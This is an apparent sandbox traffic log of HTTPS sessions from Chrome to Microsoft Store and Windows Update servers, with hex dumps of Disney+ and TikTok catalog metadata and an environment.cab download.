72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 
Data Ascii: 64__6rarf9sa4v8jt\",\"content.productId\":\"4e723232-7b60-4f72-9925-902f756a83b2\",\"content.targe
tPlatforms\":[{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":2814751014977536,\"platf
orm.target\":5},{\"platform.maxVersionTested\":

2022-06-08 07:57:05 UTC 9826 IN Data Raw: 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 
69 6c 69 74 79 49 64 22 3a 22 39 4e 4b 4d 56 42 4c 52 39 58 53 38 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 
43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 
22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 2
2 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 56 
65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 
66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 
Data Ascii: "AvailabilityUnifiedApp;3","AvailabilityId":"9NKMVBLR9XS8","Conditions":{"ClientConditions":{"AllowedPlatfor
ms":[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Desktop"},{"MaxVersion":2147483647,"MinVe
rsion":0,"PlatformName":"Windows.Xbox

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:57:05 UTC 9830 IN Data Raw: 72 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 50 72 6f 66 69 6c 65 20 50 49 4e 2c 20 4b 69 64 73 20 50 72 6f 66 
69 6c 65 73 2c 20 4b 69 64 2d 50 72 6f 6f 66 20 45 78 69 74 2e 20 41 63 63 6f 75 6e 74 20 68 6f 6c 64 65 72 73 20 63 61 
6e 20 63 68 61 6e 67 65 20 61 6e 20 69 6e 64 69 76 69 64 75 61 6c 20 70 72 6f 66 69 6c 65 e2 80 99 73 20 63 6f 6e 74 
65 6e 74 20 72 61 74 69 6e 67 20 61 74 20 61 6e 79 20 74 69 6d 65 20 75 6e 64 65 72 20 50 72 6f 66 69 6c 65 20 73 65 
74 74 69 6e 67 73 2e 20 5c 72 5c 6e 5c 72 5c 6e 46 6f 72 20 68 65 6c 70 20 77 69 74 68 20 44 69 73 6e 65 79 2b 2c 20 7
0 6c 65 61 73 65 20 76 69 73 69 74 3a 20 68 74 74 70 3a 2f 2f 68 65 6c 70 2e 64 69 73 6e 65 79 70 6c 75 73 2e 63 6f 6d 
2e 5c 72 5c 6e 46 6f 72 20 6f 75 72 20 53 75 62 73 63 72 69 62 65 
Data Ascii: res including Profile PIN, Kids Profiles, Kid-Proof Exit. Account holders can change an individual profiles 
content rating at any time under Profile settings. \r\n\r\nFor help with Disney+, please visit: http://help.disneyplus.c
om.\r\nFor our Subscribe

2022-06-08 07:57:05 UTC 9834 IN Data Raw: 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 36 36 35 37 33 37 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 
65 49 6e 42 79 74 65 73 22 3a 31 32 33 30 36 30 32 32 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 
69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 
32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 
79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 44 69 
73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 31 2e 33 30 2e 34 2e 30 5f 61 72 6d 5f 5f 36 72 61 72 66 39 73 
61 34 76 38 6a 74 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 66 38 63 
Data Ascii: izeInBytes":86657374,"MaxInstallSizeInBytes":123060224,"PackageFormat":"Msix","PackageFamilyName":
"Disney.37853FC22B2CE_6rarf9sa4v8jt","MainPackageFamilyNameForDlc":null,"PackageFullName":"Disney.37
853FC22B2CE_1.30.4.0_arm__6rarf9sa4v8jt","PackageId":"f8c

2022-06-08 07:57:05 UTC 9838 IN Data Raw: 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 
22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 
6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 
62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 
5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 6
1 67 65 49 64 5c 22 3a 5c 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 31 2e 33 30 2e 34 2e 30 5f 
61 72 6d 36 34 5f 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 5c 22 
Data Ascii: Tested":2814751014977536,"MinVersion":2814751014977536,"PlatformName":"Windows.Desktop"}],"Platfor
mDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"Disne
y.37853FC22B2CE_1.30.4.0_arm64__6rarf9sa4v8jt\"

2022-06-08 07:57:05 UTC 9842 IN Data Raw: 74 61 72 67 65 74 5c 22 3a 35 7d 2c 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 
73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 
65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 
72 67 65 74 5c 22 3a 33 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 
3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2
e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 
6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 
Data Ascii: target\":5},{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":28147510149775
36,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Entertainment\",\"optOu
t.backupRestore\":false,\"o

2022-06-08 07:57:05 UTC 9846 IN Data Raw: 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 
6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
37 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 7
5 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 58 51 
58 58 4c 46 53 54 38 39 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 30 35 32 32 63 37 65 64 2d 31 61 36 33 2d 34 
33 61 37 2d 38 37 30 64 2d 33 62 61 33 37 61 34 64 38 39 66 34 22 2c 
Data Ascii: 2},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":72,\"systemId\":15},{\"level\":67,\"systemI
d\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NXQXXLFST89","WuBundleId":"0522c7ed-1a63-
43a7-870d-3ba37a4d89f4",

2022-06-08 07:57:05 UTC 9848 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

126 192.168.2.3 49854 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:05 UTC 9848 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-06-08 07:57:06 UTC 9849 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 3feaf358-ab72-4a17-bad8-3c52d09a7163
MS-RequestId: cc8ca5bf-3a17-4575-86ee-04f51b53d125
MS-CV: h3qFWLi6kU6lzP6j.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:05 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:06 UTC 9849 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:06 UTC 9865 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:06 UTC 9881 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

127 192.168.2.3 49855 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:06 UTC 9884 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:06 UTC 9885 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 49c97906-ee04-40f0-9aaf-78c97aed37fb
MS-RequestId: 52723029-5a83-4435-8a73-21e99f6a494e
MS-CV: 7zCX44tGG0SyPnwy.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:05 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:06 UTC 9885 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-06-08 07:57:06 UTC 9901 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:06 UTC 9917 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

128 192.168.2.3 49856 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:06 UTC 9920 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=BytedancePte.Ltd.TikTok_6yccndn6064se&
market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=
Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: zhqjwGqLmUuS/bSy.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:57:06 UTC 9921 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:57:06 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 5a8f5f57-3889-48e0-baa2-d7d80e1413f3
MS-RequestId: 07fa0dc5-467c-4a55-9bee-63a252179af1
MS-CV: zhqjwGqLmUuS/bSy.0.2.4.1227127730.0.1.1227127730.0.0
X-Content-Type-Options: nosniff
MS-ServerId: b9576-jphlz
Region: neu
Node: aks-bigcatrpns-32351330-vmss00000l
MS-DocumentVersions: 9NH2GPH4JZS4|697

2022-06-08 07:57:06 UTC 9921 IN Data Raw: 61 66 30 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 30 38 54 32 30 3a 31 31 3a 35 31 2e 33 38 33 38 35 37 
30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 35 30 33 39 34 32 36 39 36 31 
31 33 32 33 30 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: af07{"BigIds":["9NH2GPH4JZS4"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-08T20
:11:51.3838570Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3065039426961132306","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-06-08 07:57:06 UTC 9925 IN Data Raw: 35 32 35 39 35 36 31 30 35 31 31 2e 38 39 61 39 30 34 30 30 2d 62 34 39 62 2d 34 63 33 35 2d 61 37 37 37 
2d 36 30 63 39 32 65 61 31 65 33 39 38 2e 30 35 36 34 65 35 61 65 2d 65 66 36 30 2d 34 39 61 32 2d 61 33 31 36 2d 61 
32 66 66 31 36 30 33 32 61 39 63 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 
39 39 34 35 38 38 38 31 34 34 35 37 37 32 38 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 
22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 
43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 38 38 2c 22 46 6f 72 
65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 
Data Ascii: 52595610511.89a90400-b49b-4c35-a777-60c92ea1e398.0564e5ae-ef60-49a2-a316-a2ff16032a9c","
Width":66},{"FileId":"3049945888144577284","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","Fil
eSizeInBytes":3588,"ForegroundColor":"","Height

2022-06-08 07:57:06 UTC 9929 IN Data Raw: 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 
72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 
46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 35 32 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 
3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 
22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 
32 35 36 48 61 73 68 22 3a 22 56 6b 6b 75 57 65 38 45 4f 64 75 46 42 69 75 67 45 45 64 51 6c 61 75 74 36 77 53 52 64 
62 34 71 44 47 70 76 74 51 4e 39 71 76 30 3d 22 2c 22 55 72 69 22 
Data Ascii: ,"EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":13521,"Foregroun
dColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"VkkuWe8EOduFBi
ugEEdQlaut6wSRdb4qDGpvtQN9qv0=","Uri"
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2022-06-08 07:57:07 UTC 9933 IN Data Raw: 20 63 6f 6d 6d 75 6e 69 74 79 20 6f 66 20 63 72 65 61 74 6f 72 73 5c 72 5c 6e 4d 69 6c 6c 69 6f 6e 73 20 6f 66 
20 63 72 65 61 74 6f 72 73 20 61 72 65 20 6f 6e 20 54 69 6b 54 6f 6b 20 73 68 6f 77 63 61 73 69 6e 67 20 74 68 65 69 72 
20 69 6e 63 72 65 64 69 62 6c 65 20 73 6b 69 6c 6c 73 20 61 6e 64 20 65 76 65 72 79 64 61 79 20 6c 69 66 65 2e 20 4c 
65 74 20 79 6f 75 72 73 65 6c 66 20 62 65 20 69 6e 73 70 69 72 65 64 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 41 64 64 
20 79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 6d 75 73 69 63 20 6f 72 20 73 6f 75 6e 64 20 74 6f 20 79 6f 75 72 20 76 69 
64 65 6f 73 20 66 6f 72 20 66 72 65 65 5c 72 5c 6e 45 61 73 69 6c 79 20 65 64 69 74 20 79 6f 75 72 20 76 69 64 65 6f 73 
20 77 69 74 68 20 6d 69 6c 6c 69 6f 6e 73 20 6f 66 20 66 72 
Data Ascii:  community of creators\r\nMillions of creators are on TikTok showcasing their incredible skills and everyday 
life. Let yourself be inspired.\r\n\r\n Add your favorite music or sound to your videos for free\r\nEasily edit your videos with 
millions of fr

2022-06-08 07:57:07 UTC 9937 IN Data Raw: 96 a0 20 57 61 74 63 68 20 65 6e 64 6c 65 73 73 20 61 6d 6f 75 6e 74 20 6f 66 20 76 69 64 65 6f 73 20 63 75 
73 74 6f 6d 69 7a 65 64 20 73 70 65 63 69 66 69 63 61 6c 6c 79 20 66 6f 72 20 79 6f 75 5c 72 5c 6e 41 20 70 65 72 73 6f 
6e 61 6c 69 7a 65 64 20 76 69 64 65 6f 20 66 65 65 64 20 62 61 73 65 64 20 6f 6e 20 77 68 61 74 20 79 6f 75 20 77 61 
74 63 68 2c 20 6c 69 6b 65 2c 20 61 6e 64 20 73 68 61 72 65 2e 20 54 69 6b 54 6f 6b 20 6f 66 66 65 72 73 20 79 6f 75 20 
72 65 61 6c 2c 20 69 6e 74 65 72 65 73 74 69 6e 67 2c 20 61 6e 64 20 66 75 6e 20 76 69 64 65 6f 73 20 74 68 61 74 20 
77 69 6c 6c 20 6d 61 6b 65 20 79 6f 75 72 20 64 61 79 2e 5c 72 5c 6e 20 5c 72 5c 6e e2 96 a0 20 45 78 70 6c 6f 72 65 2
0 76 69 64 65 6f 73 2c 20 6a 75 73 74 20 6f 6e 65 20 73 63 72 6f 
Data Ascii:  Watch endless amount of videos customized specifically for you\r\nA personalized video feed based on what y
ou watch, like, and share. TikTok offers you real, interesting, and fun videos that will make your day.\r\n \r\n Explore 
videos, just one scro

